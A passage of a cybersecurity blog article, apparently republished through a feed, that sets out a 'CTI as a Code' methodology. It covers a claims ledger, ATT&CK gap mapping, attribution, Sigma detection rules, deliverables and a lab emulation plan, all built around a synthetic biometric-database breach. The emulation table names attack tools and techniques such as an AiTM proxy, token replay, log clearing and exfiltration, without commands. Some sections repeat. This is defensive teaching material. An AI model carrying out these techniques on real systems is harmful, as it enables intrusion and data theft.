2: netflow - 892.4 MB outbound from db-01 to 185.234.x.x at 02:47:11&ndash;02:51:33PIR-001 status: ANSWERED YES - biometric records accessed and exfiltrated## 2025-03-17 03:00&ndash;07:00 IST | GAP (GAP-001)Sysmon coverage lost. Security log partial. Cannot confirm or rule out:- T1059.001/003 (command execution)- T1136 (account creation / persistence)- T1105 (tool staging)See GAP-001 in evidence inventory for impact assessment.Step R3: Claims&nbsp;LedgerFile: 03-analysis/claims/claims-ledger.md | Time: 1&ndash;2&nbsp;hThe claims ledger is the single most important document in the investigation. It is what transforms a timeline narrative into structured, auditable analysis.Every row answers five questions:What is the specific assertion? (One sentence, falsifiable)What evidence supports it? (File path and line&nbsp;number)How confident are we? (High / Medium / Low with rationale)What alternative explanations were considered? (And why were they ruled out or left&nbsp;open)Which PIR does this&nbsp;answer?| ID | Claim | Evidence | Confidence | Competing Hypotheses | PIR ||---|---|---|---|---|---|| CL-001 | Adversary authenticated to the VPN using valid credentials for contractor-07 at 02:14 IST on 2025-03-17 | vpn-gw.jsonl:4471 + RADIUS log (same SessionID) | High | Legitimate login &mdash; ruled out: no prior session from this IP; contractor confirmed offline by HR; IP geolocates to Iranian hosting provider | PIR-002 || CL-002 | The biometric_records database was fully exfiltrated (340,218 rows, 892.4 MB) at 02:47&ndash;02:51 IST | db-audit.jsonl:892 (SELECT *) + netflow (892.4 MB from db-01 to 185.234.x.x) | High | Scheduled backup &mdash; ruled out: backup confirmed at 04:00; no authorized job at 02:47; db-admin confirmed no maintenance scheduled | PIR-001 || CL-003 | Initial credential theft was via AiTM phishing, not brute force or purchase | Session token replay pattern in VPN auth (no prior failed auths, immediate successful auth from new IP); email delivery confirmed 5 min before VPN auth | Medium | Credential purchase / insider &mdash; cannot fully rule out without forensic analysis of contractor-07 endpoint | PIR-002 || CL-004 | Persistence mechanism is unknown; cannot be determined | No log coverage during GAP-001 (03:00&ndash;07:00); no scheduled task, registry, or service evidence outside this window | Insufficient | Unknown &mdash; GAP-001 prevents assessment | PIR-003 || CL-005 | No confirmed evidence of access after 2025-03-17 07:02 IST (Sysmon restart) | All log sources show no activity from 185.234.x.x after 03:21 | Medium | Adversary using different infrastructure after initial exfil &mdash; cannot rule out; recommend threat hunt | PIR-003 |The claims ledger drives everything downstream:Executive brief cites CL-IDs, not raw log&nbsp;linesSOC handoff uses claims to justify IOC confidenceAttribution assessment cites claims as the evidence&nbsp;basisSigma rules reference which claim they would have&nbsp;detectedgit add 03-analysis/claims/ 03-analysis/timeline/git commit -m &quot;PROJ-001: analysis &mdash; 16-event timeline, 5 claims; PIR-001 YES (CL-002), PIR-002 MEDIUM (CL-001/CL-003)&quot;Step R4: ATT&amp;CK Mapping with Gap ClassificationFile: 03-analysis/attck-mapping/attck-mapping.md | Time: 1&ndash;2&nbsp;hThe ATT&amp;CK mapping has two purposes: documenting what happened (intelligence) and measuring detection coverage (operations). The Gap Type column is the operational output &mdash; it tells the SOC and engineering teams exactly what kind of work is needed for each missed technique.| # | Tactic | Technique | Sub | Evidence | Confidence | Rule Fired? | Gap Type | Remediation ||---|---|---|---|---|---|---|---|---|| 1 | Initial Access | T1566.001 | &mdash; | Email gateway log | High | Partial | Coverage incomplete | Fix email gateway rule to extract attachment hash || 2 | Credential Access | T1557 | &mdash; | VPN timing pattern (CL-003) | Medium | No | Rule missing | Write Sigma rule DET-002; VPN logs are in SIEM || 3 | Initial Access | T1078.001 | &mdash; | VPN auth (CL-001) | High | No | Rule missing | Write Sigma rule DET-003 for anomalous VPN auth || 4 | Lateral Movement | T1021.001 | &mdash; | Inferred (CL-002 timing) | Low | Unknown | Data source missing | Jump host logs not ingested &mdash; engineering ticket || 5 | Collection/Exfil | T1048.003 | &mdash; | DB audit + netflow (CL-002) | High | No | Data source missing | DB audit log not in SIEM &mdash; Logstash pipeline needed || 6 | Impact (unknown) | Unknown | &mdash; | GAP-001 | &mdash; | Unknown | Architectural gap | Sysmon reliability improvement &mdash; separate track |Gap taxonomy (each type requires different remediation):Export the Navigator layer and commit&nbsp;it:# In ATT&amp;CK Navigator: build your coverage layer (green=detected, yellow=partial, red=missed)# Export as JSON: Layer &rarr; Download as JSON# Save to: 03-analysis/attck-mapping/navigator-layer.jsongit add 03-analysis/attck-mapping/git commit -m &quot;PROJ-001: ATT&amp;CK mapping - 6 techniques; 2 rule-missing, 2 data-source-missing, 1 incomplete, 1 arch-gap&quot;Decider &mdash; guided ATT&amp;CK mapping when the technique is&nbsp;unclear:When you observe a behavior but are not certain which ATT&amp;CK technique or sub-technique it maps to, Decider (CISA) walks you to the correct answer through a structured question tree. Instead of searching the ATT&amp;CK site manually, Decider asks what the adversary was trying to accomplish, then narrows to the correct tactic, technique, and sub-technique.# Run Decider locally with Docker (one-time setup)git clone https://github.com/cisagov/Decider.gitcd Decidercp .env.docker .env# Edit .env &mdash; set DB_ADMIN_PASS, DB_KIOSK_PASS, CART_ENC_KEY, APP_ADMIN_PASScp -r default_config/. config/sudo docker compose up# Visit http://localhost:8001Workflow within Step&nbsp;R4:Question Tree &mdash; navigate Matrix &rarr; Tactic &rarr; Technique &rarr; Sub-technique by answering what the adversary did. Useful when the behavior is ambiguous (e.g., distinguishing T1059.001 from T1059.003 from an encoded command line, or deciding between T1078.001 and T1078.002 for a credential re-use&nbsp;event).Full Technique Search &mdash; boolean search with prefix-matching and stemming across all ATT&amp;CK descriptions. Faster than the ATT&amp;CK site when you have a partial technique name or keyword from a log&nbsp;line.Cart &rarr; Export &mdash; add confirmed techniques to the cart as you work through the mapping table. Export as a Navigator layer JSON (heatmap) or a formatted table for the attck-mapping.md file.Decider does not replace the ATT&amp;CK Navigator &mdash; it answers the &ldquo;which technique is this?&rdquo; question before you get to the Navigator layer. Use Decider to map, Navigator to visualize coverage.Export the Navigator layer and commit&nbsp;it:# In ATT&amp;CK Navigator: build your coverage layer (green=detected, yellow=partial, red=missed)# Export as JSON: Layer &rarr; Download as JSON# Save to: 03-analysis/attck-mapping/navigator-layer.jsongit add 03-analysis/attck-mapping/git commit -m &quot;PROJ-001: ATT&amp;CK mapping - 6 techniques; 2 rule-missing, 2 data-source-missing, 1 incomplete, 1 arch-gap&quot;Step R5: Attribution AssessmentFile: 03-analysis/attribution/attribution.md | Time: 1&ndash;2&nbsp;hWrite the attribution section only after the claims ledger is complete. Attribution that precedes the evidence analysis is a hypothesis, not a conclusion. The sequence&nbsp;matters.The confidence ladder &mdash; use the correct language for the evidence you&nbsp;have:Infrastructure pivoting for attribution &mdash; run from the C2 IP before enrichment ages:# Passive DNS and co-hostingcurl &quot;https://api.shodan.io/shodan/host/185.234.x.x?key=YOUR_KEY&quot; | jq &#039;.hostnames, .ports, .data[].banner&#039;# VirusTotal for prior detection history and passive DNS# Certificate transparency - find co-hosted domains by SAN entries# MISP cross-correlation - does this IP appear in prior community events?## Attribution Assessment - PROJ-001### Evidence available- AiTM credential interception via reverse proxy: consistent with CERT-IL CB-2025-041 actor profile- C2 IP 185.234.x.x: passive DNS shows co-hosting with domains flagged in CERT-IL events  CB-2025-039 and CB-2025-031 (confirmed via MISP cross-correlation)- Tooling: cannot assess - no malware recovered due to GAP-001- TTP overlap: T1557 + T1078.001 + T1048.003 consistent with cluster profile from CB-2025-041### Confidence: MediumTwo data points (TTP overlap + infrastructure overlap with prior CERT-IL events) providecorroborating evidence. Independent confirmation would require: (a) toolset match fromcontractor-07 endpoint forensics, or (b) CERT-IL deconfliction confirming this IP in anactive track. Neither is currently available.### Language for deliverables&quot;Activity assessed as consistent with the Iranian-nexus contractor-targeting clusterdocumented in CERT-IL CB-2025-041 (medium confidence), based on AiTM tradecraft overlapand C2 infrastructure observed in two prior CERT-IL-flagged events. Toolset confirmationis not possible due to evidence gap GAP-001.&quot;Step R6: Derive Sigma Rules for Every Missed TechniqueFiles: 04-detections/sigma/DET-NNN-name.yml | Time: 30&ndash;60 min per&nbsp;ruleFor each &ldquo;Rule missing&rdquo; or &ldquo;Coverage incomplete&rdquo; entry in the ATT&amp;CK mapping, write a Sigma rule. The Sigma file references the investigation, the technique, and the validation result &mdash; creating a permanent link between intelligence and detection:title: Anomalous VPN Authentication &mdash; New Source IP for Known Userid: 7a3c9b1d-5678-4321-efab-9876543210cdstatus: experimentaldescription: &gt;  Detects a VPN authentication from a source IP with no prior history for the authenticating user.  Consistent with AiTM credential replay (T1078.001 + T1557).  Derived from PROJ-001 &mdash; initial access step, CL-001 (high confidence).author: CTI Team &mdash; PROJ-001date: 2025-03-19logsource:    category: network    product: palo_alto_vpn        # adjust to your VPN productdetection:    selection:        event.action: vpn_auth_success        user.name|exists: true    filter_known:        source.ip|cidr:            - &#039;10.0.0.0/8&#039;         # corporate NAT ranges            - &#039;172.16.0.0/12&#039;    condition: selection and not filter_knownfalsepositives:    - VPN access from legitimate travel (new country/IP) &mdash; validate against HR travel records    - New contractor onboarding from home IP &mdash; coordinate with ITlevel: mediumtags:    - attack.initial_access    - attack.credential_access    - attack.t1078.001    - attack.t1557# PROJ-001: DET-003 | Gap: ATT&amp;CK row 3 (Rule missing)# Validated: PASS | 2025-03-19 | hayabusa against PROJ-001 evtx setValidation before deployment:# Step 1: Confirm the rule fires on the known true-positive event in the incident evtx sethayabusa csv-timeline \  --directory ./evtx/ \  --rules ./04-detections/sigma/DET-003-vpn-new-source-ip.yml \  --output validate-DET-003.csv# Check the output includes the 02:14 event from contractor-07grep &quot;contractor-07&quot; validate-DET-003.csv# Step 2: Convert to Elastic Lucene for deploymentpip install pySigma-backend-elasticsearch sigma-clisigma convert -t lucene -p ecs_windows \  04-detections/sigma/DET-003-vpn-new-source-ip.yml# Step 3: Convert to ES|QL (alternative format for newer Elastic stacks)sigma convert -t esql -p ecs_windows \  04-detections/sigma/DET-003-vpn-new-source-ip.ymlgit add 04-detections/git commit -m &quot;PROJ-001: detections &mdash; DET-001 through DET-004 written and validated PASS via Hayabusa&quot;Step R7: Produce DeliverablesFiles: 05-deliverables/ | Time: 2&ndash;4&nbsp;hExecutive brief &mdash; maximum 1 page, no technical artifacts:# Incident Brief &mdash; PROJ-001 [TLP: AMBER]2025-03-19 | For: CISO, IR Lead, Legal## What happenedAn assessed Iranian-nexus actor accessed the NDSA biometric records database on 2025-03-17using stolen VPN credentials belonging to contractor-07, exfiltrating approximately 340,218biometric records. Initial entry occurred at 02:14 IST; exfiltration completed by 02:51 IST.## Business impactINCD notification is required within 72 hours of discovery (deadline: 2025-03-20 02:14 IST).Biometric Database Authority notification required under Section 12 of the Biometric Database Law.No confirmed evidence of ongoing access as of investigation date.## Key findings- The adversary used valid contractor credentials obtained through suspected phishing - no brute  force or technical exploit was required to enter the network- The full biometric records table (340,218 records) was extracted in a single session lasting 4 minutes- Three of five adversary techniques had no detection coverage at the time of the incident;  none of the five triggered an alert## What was not detectedThe credential theft, the VPN login from an unrecognized IP, and the database exfiltrationall occurred without generating a single security alert. The incident was discovered througha retrospective log review 36 hours after it concluded, not through real-time detection.## Recommended actions1. [IR Lead - by 18:00 today] Revoke and rotate all contractor VPN credentials2. [CISO - by 02:14 IST 2025-03-20] File INCD notification using the PROJ-001 incident report3. [SOC Lead - by end of week] Deploy detection rules DET-001 through DET-004 to Kibana; submit   DB audit log pipeline to engineering as P0 ticketSOC handoff contains the operational package &mdash; not narrative, only actionable data:# SOC Handoff &mdash; PROJ-001## Current IOCs (valid as of 2025-03-19)| Type | Value | Confidence | TTL | Action ||---|---|---|---|---|| IPv4 | 185.234.x.x | High | 30 days | Block at perimeter; alert on any new connections || Domain | spoofed.vendor@mailpro[.]cc | High | 30 days | Block at email gateway || SHA256 | 4a7f... (Q1-Invoice-2025.docx) | Medium | 90 days | Block at endpoint |## Rules deployed / pending| Rule ID | Status | CAB ticket | Covers ||---|---|---|---|| DET-001 | Deployed 2025-03-19 14:00 | CAB-2025-0341 | T1566.001 email delivery || DET-003 | Deployed 2025-03-19 14:00 | CAB-2025-0341 | T1078.001 anomalous VPN auth || DET-002 | Pending - blocked on VPN log pipeline | ENG-0234 | T1557 AiTM session replay || DET-004 | Pending - blocked on DB audit pipeline | ENG-0235 | T1048.003 DB exfiltration |## Hunting queries (residual activity)Hunt for additional sessions from the same ASN as 185.234.x.x in the 30 days before the incident.Hunt for any contractor accounts that authenticated successfully from IPs with no prior history.## Escalation criteriaEscalate immediately if:- Any new connection from 185.234.x.x or the /24 subnet- Any authentication from contractor-07 or other contractor accounts outside working hours- Any new SELECT * queries against the biometric_records tableProactive Mode: Full WalkthroughStep P1: Copy the&nbsp;Templatecp -r CTI_as_a_Code/templates/proactive/ assessments/myorg-threat-model-2025-q2/cd assessments/myorg-threat-model-2025-q2/git init &amp;&amp; git add . &amp;&amp; git commit -m &quot;PROJ-002: proactive scaffold initialized&quot;Proactive template structure:proactive/├── 00-scope/scope.md├── 01-trigger-intelligence/│   ├── trigger-assessment.md           &larr; summary across all triggers│   └── triggers/│       ├── TRG-001-cert-il-advisory.md│       └── TRG-NNN-name.md             &larr; one file per trigger├── 02-crown-jewels/│   └── crown-jewels.md├── 03-threat-model/│   ├── attack-paths.md                 &larr; paths from entry to crown jewels│   └── scenarios/│       └── SCN-NNN-name.md             &larr; one per attack path├── 04-detection-backlog/│   └── detection-backlog.md└── 07-deliverables/    ├── executive-brief.md    └── technical-brief.mdStep P2: Run the&nbsp;IntakeBefore you open any advisory or run any query, capture the commissioner&rsquo;s requirements in a structured intake&nbsp;call.&rarr; Proactive Assessment &mdash; Intake &mdash; full intake form (trigger, crown jewels, detection posture, mandate, threat context, regulatory context), why each section matters, and how to commit the intake into the project git&nbsp;history.Step P3: Assess Trigger IntelligenceFiles: 01-trigger-intelligence/triggers/TRG-NNN-name.md | Time: 2&ndash;4 h per trigger&nbsp;cycleA trigger is an intelligence input that changes the threat assessment for this specific organization. Write one file per&nbsp;trigger:# TRG-001 &mdash; CERT-IL CB-2025-041: AiTM Campaign Targeting Government Contractors## What happenedCERT-IL advisory CB-2025-041 (2025-04-03) describes an active AiTM phishing campaign targetingcontractors with access to Israeli government identity and biometric systems. Three confirmedvictims in the municipal sector in March 2025. The adversary cluster replays intercepted sessiontokens within 4&ndash;8 hours of interception.## Source reliabilitySource: CERT-IL - rating A (completely reliable; official government advisory from direct investigation)Information: 1 (confirmed - CERT-IL investigated the victim cases directly)Combined: High## Relevance to THIS organization- MyOrg operates contractor VPN with the same architecture described in CB-2025-041- Contractor class accounts have direct read access to the biometric records database- Two MyOrg contractors use the same IdP flagged in the advisory- MyOrg&#039;s MFA is not enforced on VPN re-authentication for valid sessions - identical gap## ATT&amp;CK techniques implied- T1557 - AiTM session token interception- T1078.001 - VPN authentication with stolen credentials- T1048 - data exfiltration via authorized session (no alert triggered in victim cases)## Detection action impliedPRIORITY: Verify whether VPN authentication logs are ingested into the SIEM.If not - this is a P0 pipeline gap that blocks detection of the primary technique.If yes - write AiTM detection rule immediately.## ConfidenceHigh - authoritative source, directly applicable to our architecture, confirmed active campaign.Step P4: Crown Jewels&nbsp;AnalysisFile: 02-crown-jewels/crown-jewels.md | Time: 2&ndash;4&nbsp;hTier every asset by the business impact of compromise. Be specific &mdash; vague tier assignments produce vague threat&nbsp;models:## Tier 1 &mdash; Critical (compromise triggers regulatory notification or irreversible harm)| Asset | System | Why Tier 1 | Notification trigger ||---|---|---|---|| Biometric records database | db-01 | 340K+ biometric records; Biometric Database Law &sect;12 | Biometric Database Authority + INCD || Payment gateway | pay-gw-01 | PCI-DSS scope; real-time payment processing | BoI-CD 362 immediate notification || Active Directory | dc-01 | Domain takeover enables access to all Tier 1 systems | All downstream triggers || GovID authentication service | govid-svc-01 | National identity system; 2.1M citizen accounts | INCD mandatory notification |## Tier 2 - High (enables attack on Tier 1)| Asset | System | Attack path to Tier 1 ||---|---|---|| Contractor VPN gateway | vpn-gw-01 | Entry point; contractor accounts have db-01 read access || Contractor jump host | jump-01 | Pivot from DMZ to internal db-01 segment || Identity provider | idp-01 | Credential validation for all internal services || SIEM / logging infrastructure | siem-01 | Attacker visibility if compromised; evidence destruction risk |## Tier 3 - Medium (operational impact, no regulatory trigger)- Internal wikis and collaboration tools- Development and staging environments (non-production data only)- Monitoring dashboards| Asset | System | Why Tier 1 | Notification trigger ||---|---|---|---|| Biometric records database | db-01 | 340K+ biometric records; Biometric Database Law &sect;12 | Biometric Database Authority + INCD || Payment gateway | pay-gw-01 | PCI-DSS scope; real-time payment processing | BoI-CD 362 immediate notification || Active Directory | dc-01 | Domain takeover enables access to all Tier 1 systems | All downstream triggers || GovID authentication service | govid-svc-01 | National identity system; 2.1M citizen accounts | INCD mandatory notification |## Tier 2 - High (enables attack on Tier 1)| Asset | System | Attack path to Tier 1 ||---|---|---|| Contractor VPN gateway | vpn-gw-01 | Entry point; contractor accounts have db-01 read access || Contractor jump host | jump-01 | Pivot from DMZ to internal db-01 segment || Identity provider | idp-01 | Credential validation for all internal services || SIEM / logging infrastructure | siem-01 | Attacker visibility if compromised; evidence destruction risk |## Tier 3 - Medium (operational impact, no regulatory trigger)- Internal wikis and collaboration tools- Development and staging environments (non-production data only)- Monitoring dashboardsStep P5: Model Attack ScenariosFiles: 03-threat-model/scenarios/SCN-NNN-name.md | Time: 1&ndash;2 h per&nbsp;scenarioFor each path from perimeter (or insider) to a Tier 1 asset, write a scenario. The scenario is not a story &mdash; it is a structured model that maps directly to detection tasks:# SCN-001 &mdash; Contractor AiTM Phishing &rarr; Biometric Database Exfiltration## Trigger basisTRG-001 (CERT-IL CB-2025-041) - confirmed active campaign using this exact path## Kill chain| Step | Technique | Procedure | Current coverage ||---|---|---|---|| 1 | T1566.001 | Spearphishing link to spoofed VPN login page | Partial rule - browser-based phishing not covered || 2 | T1557 | AiTM proxy intercepts session token | No rule - VPN auth logs NOT in SIEM || 3 | T1078.001 | Token replay to VPN gateway | No rule - same pipeline gap || 4 | T1021.001 | RDP from jump host to db-01 | No rule - jump host Sysmon not collected || 5 | T1048.003 | Full-table SELECT; HTTPS exfil to C2 | No rule - DB audit log not in SIEM |## Coverage verdict0 of 5 techniques covered. All 5 require detection backlog entries.3 of 5 are blocked by pipeline gaps (steps 2&ndash;4) - these require engineering work before rules can be written.## Impact if scenario executes undetected- 340K+ biometric records exfiltrated- INCD and Biometric Database Authority notifications mandatory- Estimated regulatory exposure: significantStep P6: Build the Detection BacklogFile: 04-detection-backlog/detection-backlog.md | Time: 1&ndash;2&nbsp;hThe detection backlog translates scenario analysis into sprint-ready engineering work. Every item has enough information to be picked up by a detection engineer without further&nbsp;context:| Pri | ID | Technique | Scenario | Pre-condition | Owner | Sprint | Status ||---|---|---|---|---|---|---|---|| P0 | ENG-001 | Pipeline | SCN-001 steps 2&ndash;3 | VPN auth logs must be ingested into SIEM before DET-B001/B002 can be written | Engineering | Sprint 1 | Blocked &mdash; pipeline || P0 | ENG-002 | Pipeline | SCN-001 step 5 | DB audit log must be ingested before DET-B003 | Engineering | Sprint 1 | Blocked &mdash; pipeline || P1 | DET-B001 | T1557 (AiTM) | SCN-001 step 2 | Requires ENG-001 | Detection | Sprint 2 | Waiting on ENG-001 || P1 | DET-B002 | T1078.001 | SCN-001 step 3 | Requires ENG-001 | Detection | Sprint 2 | Waiting on ENG-001 || P1 | DET-B003 | T1048.003 | SCN-001 step 5 | Requires ENG-002 | Detection | Sprint 2 | Waiting on ENG-002 || P2 | DET-B004 | T1021.001 | SCN-001 step 4 | Jump host Sysmon deployment needed | Detection | Sprint 3 | &mdash; || P2 | DET-B005 | T1566.001 | SCN-001 step 1 | Partial rule exists &mdash; needs browser phishing coverage added | Detection | Sprint 2 | Tuning existing rule |P0 items are not detection rules &mdash; they are infrastructure prerequisites. The backlog separates these explicitly so the sprint plan is realistic: you cannot write an AiTM detection rule if the VPN logs are not in the SIEM. Making this visible prevents teams from reporting &ldquo;rule written&rdquo; while the actual gap remains&nbsp;open.git add .git commit -m &quot;PROJ-002: proactive complete &mdash; SCN-001 modeled, detection backlog 7 items (2 blocked on pipeline)&quot;Full Cycle Mode: Building a CTI&nbsp;ProgramFull Cycle applies when the task is not a single investigation but building the capability to run investigations continuously. It produces a governance structure, a PIR framework, and a collection plan.cp -r CTI_as_a_Code/templates/full-cycle/ programs/myorg-cti-program-2025/cd programs/myorg-cti-program-2025/git init &amp;&amp; git add . &amp;&amp; git commit -m &quot;PROJ-003: full-cycle scaffold initialized&quot;Before any program design work begins, run the intake to capture the sponsor&rsquo;s mandate, stakeholder map, initial PIRs, and maturity&nbsp;target.&rarr; Full-Cycle Program &mdash; Intake &mdash; full intake form (program mandate, stakeholders, PIR register, collection requirements, sharing architecture, governance), why each section matters, and how to commit the intake as the program&rsquo;s first artifact.Key outputs of full-cycle mode:Stakeholder map &mdash; who receives what intelligence, at what classification level, on what schedule:| Stakeholder | Role | Products | TLP | Cadence ||---|---|---|---|---|| CISO | Executive sponsor | Strategic brief, program metrics | AMBER | Monthly || SOC Lead | Operational consumer | Tactical alert, IOC packages | RED | On-demand || Detection Engineering | Technical consumer | Sigma backlog, hunting hypotheses | RED | Weekly sprint || Legal / Compliance | Regulatory | Incident reports, regulatory notifications | AMBER | Per incident || CERT-IL | External sharing | Anonymized IOC packages | GREEN | Per incident |PIR register &mdash; every PIR linked to a stakeholder decision:| ID | PIR | Stakeholder | Decision it drives | Review cadence ||---|---|---|---|---|| PIR-001 | Is the Iranian-nexus AiTM cluster from CERT-IL CB-2025-041 actively targeting our contractor VPN? | CISO | Contractor access architecture review | Monthly || PIR-002 | What is the current detection coverage rate across our top-10 adversary techniques? | SOC Lead | Sprint prioritization and backlog ordering | Bi-weekly || PIR-003 | Are any of our third-party suppliers under active targeting by nation-state actors? | Legal / Procurement | Supplier risk assessment and contract reviews | Quarterly |Collection plan &mdash; sources mapped to PIRs, with gaps made explicit:| Source | PIRs | Reliability | Current status | Gap ||---|---|---|---|---|| CERT-IL advisories | PIR-001, PIR-003 | A/1 (High) | Active MOU &mdash; weekly digest | None || Internal SIEM alerts | PIR-002 | A/1 (High) | Active | VPN logs not ingested &mdash; ENG-001 || Recorded Future | PIR-001, PIR-002 | B/2 (Medium-High) | No subscription | Procurement Q3 2025 || Sector ISAC | PIR-003 | B/2 (Medium-High) | Membership lapsed | Renewal in progress |Collection gaps that block PIR answers are tracked as program risks with owners and deadlines &mdash; not just technical notes. A PIR that cannot be answered because a log source is not ingested is a program failure, not a SIEM&nbsp;problem.Adversary Emulation Mode: Validating CoverageEmulation runs after detections have been built. It answers the question: do these rules actually work against a real adversary executing these techniques?cp CTI_as_a_Code/templates/adversary-emulation.md \   exercises/myorg-emulation-q3-2025.mdBuild the emulation plan from a CTI&nbsp;report:# Emulation Plan &mdash; Operation Desert Cipher (Q3 2025)## AuthorizationAuthorized by: CISO - ref: AUTH-2025-Q3-001Scope: JUMPHOST-LAB and TARGET-LAB only; no production systemsDate: 2025-07-14 through 2025-07-16## Threat intelligence basisCTI report: training/A04-emulation-techpay/01-cti-report/operation-desert-cipher.mdActor: Assessed Iranian-nexus cluster## Module table| # | Technique | Procedure | Tool | Expected alert | Pre-check ||---|---|---|---|---|---|| MOD-01 | T1566.001 | Send .docx with embedded macro | GoPhish | Email gateway + EDR | Email gateway logs ingested? || MOD-02 | T1557 | AiTM proxy against lab VPN portal | Evilginx2 | VPN auth anomaly rule | VPN logs in SIEM? || MOD-03 | T1078.001 | Replay captured session token | curl | Anomalous auth rule | DET-003 deployed? || MOD-04 | T1021.001 | RDP from jump host to target | mstsc | Lateral movement rule | Jump host Sysmon running? || MOD-05 | T1059.001 | Execute PowerShell from RDP session | powershell.exe | T1059 rule | DET-005 deployed? || MOD-06 | T1048.003 | Exfil dummy file via HTTPS | curl | Egress detection | DB audit rule deployed? || MOD-07 | T1070.001 | Clear Windows event logs | wevtutil | Log-clearing alert | DET-007 deployed? |Execute and&nbsp;score:# Post-execution: scan lab evtx with all Sigma ruleshayabusa csv-timeline \  --directory ./lab-evtx/ \  --output emulation-results-$(date +%Y%m%d).csv \  --profile verbose# Check which modules firedgrep -E &quot;T1557|T1078|T1059|T1048|T1021|T1070|T1566&quot; emulation-results-*.csvCoverage matrix with root cause for every&nbsp;FAIL:| Module | Technique | Result | Root Cause | Remediation ||---|---|---|---|---|| MOD-01 | T1566.001 | PARTIAL | Rule fired; attachment hash missing &mdash; email gateway log field not parsed | Fix Logstash parser for email gateway || MOD-02 | T1557 | FAIL | Rule not deployed &mdash; VPN log pipeline not complete at exercise date | ENG-001 still open; reschedule after pipeline completes || MOD-03 | T1078.001 | PASS | Alert within 90 seconds | &mdash; || MOD-04 | T1021.001 | PASS | Alert within 2 min | &mdash; || MOD-05 | T1059.001 | PASS | Alert within 45 seconds | &mdash; || MOD-06 | T1048.003 | FAIL | Data source missing &mdash; DB audit log pipeline not complete | ENG-002 still open || MOD-07 | T1070.001 | PASS | Alert within 20 seconds | &mdash; |## Summary: 4 PASS (57%) | 1 PARTIAL (14%) | 2 FAIL (29%)## Both FAILs trace to open engineering tickets, not missing detection rules.Git Discipline &mdash; The Same for All&nbsp;ModesThe git log is the audit trail. Commit phase by phase with informative messages:# After intakegit add 00-scope/intake.mdgit commit -m &quot;PROJ-001: intake &mdash; initial hypothesis AiTM contractor theft; 3 PIRs identified&quot;# After scope sign-offgit add 00-scope/scope.mdgit commit -m &quot;PROJ-001: scope - signed off by CISO 2025-03-18; TLP AMBER; legal hold&quot;# After evidence inventorygit add 01-evidence/git commit -m &quot;PROJ-001: evidence - 5 sources, GAP-001 (4h Sysmon 03-17), checksums committed&quot;# After timeline and claimsgit add 03-analysis/git commit -m &quot;PROJ-001: analysis - 16 events, 5 claims; PIR-001 answered YES (CL-002)&quot;# After ATT&amp;CK mappinggit add 03-analysis/attck-mapping/git commit -m &quot;PROJ-001: ATT&amp;CK mapping - 6 techniques, 2 rule-missing, 2 data-missing, 1 incomplete&quot;# After detections validatedgit add 04-detections/git commit -m &quot;PROJ-001: detections - DET-001 to DET-004 validated PASS via Hayabusa&quot;# After deliverables completegit add 05-deliverables/git commit -m &quot;PROJ-001: deliverables - executive brief and SOC handoff; INCD notification ready&quot;Rules:One commit per completed phase &mdash; not one bulk commit at the&nbsp;endNever edit a committed evidence file &mdash; create a new amendment document and commit&nbsp;thatCommit messages: project ID + phase + factual one-line summary of what&nbsp;changedWhen an assessment changes (e.g., CL-003 confidence downgraded), commit the change with a message explaining whyMinimum-Viable Path: No Lab&nbsp;RequiredThe full methodology runs without Docker. Replace each lab component:The intake template, evidence labels, claims ledger, ATT&amp;CK gap taxonomy, and git commit discipline apply identically with or without the lab&nbsp;stack.The EcosystemCTI as a Code is one part of a practitioner ecosystem:CTI as a Code &mdash; Lab stack, investigation scaffolds, and training assignments. Use when running an investigation or building detection coverage.CTI Analyst Field Manual &mdash; Analytic tradecraft standard. Use when you need the full methodology behind evidence labels, PIR design, attribution, and CTI-to-detection.Israel Government Threat Actors CTI &mdash; Israeli sector threat knowledge base. Use when working on any Israeli government, CII, or public sector engagement.Customer-Driven AI CTI &mdash; CTI delivery methodology. Use when turning CTI work into a managed customer engagement with quality&nbsp;gates.Ecosystem page &mdash; End-to-end cross-project workflows.See the Ecosystem page for end-to-end cross-project workflows.Where to&nbsp;Start# Get the projectgit clone https://github.com/anpa1200/CTI_as_a_Code.gitcd CTI_as_a_Code# Reactive: copy the template, run intake, start scopingcp -r templates/reactive/ ../my-first-investigation/cd ../my-first-investigation/git init &amp;&amp; git add . &amp;&amp; git commit -m &quot;PROJ-001: scaffold initialized&quot;cp 00-scope/scope.md 00-scope/intake.md   # use the intake template from this article# fill in intake.md during the first call, then scope.md after# Or open a fully worked example to see the complete methodology appliedls CTI_as_a_Code/training/A01-reactive-lifetech/The 8 training assignments in the repository are fully populated: project brief, synthetic evidence data, all analytical files, and worked solutions. A01 (reactive, 52-hour Iranian-nexus breach) is the best starting point for reactive work. A02 (proactive, nation-state telecom targeting) for proactive. A04 and A08 for adversary emulation.The methodology in this article is exactly what runs through all 8 assignments.Tags: Threat Intelligence &middot; CTI &middot; Detection Engineering &middot; Incident Response &middot; Sigma &middot; MITRE ATT&amp;CK &middot; Blue Team &middot; CybersecurityFollow My&nbsp;WorkI publish practical cybersecurity research, CTI workflows, detection engineering notes, malware analysis projects, OpenCTI work, cloud and Kubernetes security research, AI-assisted security tooling, labs, and technical guides.Portfolio / Knowledge Base: https://anpa1200.github.io/Medium: https://medium.com/@1200kmGitHub: https://github.com/anpa1200LinkedIn: https://www.linkedin.com/in/andrey-pautov/Andrey PautovCTI as a Code: Complete Step-by-Step Methodology was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story. ]]></description>
<link>https://tsecurity.de/de/3580442/IT+Sicherheit/Hacker/CTI+as+a+Code%3A+Complete+Step-by-Step+Methodology/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3580442/IT+Sicherheit/Hacker/CTI+as+a+Code%3A+Complete+Step-by-Step+Methodology/</guid>
<pubDate>Mon, 08 Jun 2026 06:30:49 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Operation Desert Hydra — AI-Assisted CTI Pipeline: MuddyWater to Kibana]]></title> 
